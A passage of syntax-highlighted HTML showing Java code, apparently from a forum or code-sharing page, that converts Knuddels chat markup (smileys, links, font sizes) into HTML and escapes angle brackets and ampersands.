style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">boolean&nbsp;bold&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">boolean&nbsp;italic&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">false</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">int&nbsp;b&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(</span><span style="color: #0000BB">int&nbsp;i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">&lt;&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">();&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">++)&nbsp;{&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">char&nbsp;ch&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i</span><span style="color: #007700">);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;switch&nbsp;(</span><span style="color: #0000BB">ch</span><span style="color: #007700">)&nbsp;{&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'&lt;'</span><span style="color: #007700">:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&amp;lt;"</span><span style="color: #007700">);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'&gt;'</span><span style="color: #007700">:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&amp;gt;"</span><span style="color: #007700">);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'&amp;'</span><span style="color: #007700">:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&amp;amp;"</span><span style="color: #007700">);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'\\'</span><span style="color: #007700">:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">escape</span><span style="color: #007700">){&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\"</span><span style="color: #007700">);&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">':'</span><span style="color: #007700">:&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;Smileys&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">startsWith</span><span style="color: #007700">(</span><span style="color: #DD0000">":)"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">i</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;(!</span><span style="color: #0000BB">escape</span><span style="color: #007700">))&nbsp;{&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;img&nbsp;src=\"http://chat.knuddels.de/pics/sm_classic_00.gif\"&nbsp;alt=\":)\"/&gt;"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">'°'</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">escape</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"°"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;==&nbsp;</span><span style="color: #DD0000">'°'&nbsp;</span><span style="color: #007700">&amp;&amp;&nbsp;(!</span><span style="color: #0000BB">escape</span><span style="color: #007700">))&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'&lt;'</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">).</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;href&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;a&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">)&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;a&nbsp;href=\""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">a</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\"&gt;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">href</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/a&gt;"</span><span style="color: #007700">);&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">split</span><span style="color: #007700">(</span><span style="color: #DD0000">"\\|"</span><span style="color: #007700">).</span><span style="color: #0000BB">length&nbsp;</span><span style="color: #007700">&gt;&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">code</span><span style="color: #007700">.</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;a&nbsp;href=\""</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"\"&gt;"</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">).</span><span style="color: #0000BB">append</span><span style="color: #007700">(</span><span style="color: #DD0000">"&lt;/a&gt;"</span><span style="color: #007700">);&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">length</span><span style="color: #007700">()&nbsp;+&nbsp;</span><span style="color: #0000BB">2</span><span style="color: #007700">;<br /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}else&nbsp;if&nbsp;(</span><span style="color: #0000BB">isNumber</span><span style="color: #007700">(</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">charAt</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">)))&nbsp;{&nbsp;</span><span style="color: #FF8000">//&nbsp;Schriftgröße<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">String&nbsp;kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">text</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">kcode&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">substring</span><span style="color: #007700">(</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">indexOf</span><span style="color: #007700">(</span><span style="color: #DD0000">'°'</span><span style="color: #007700">));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">kcode</span><span style="color: #007700">.</span><span style="color: #0000BB">isEmpty</span><span style="color: #007700">()){<br 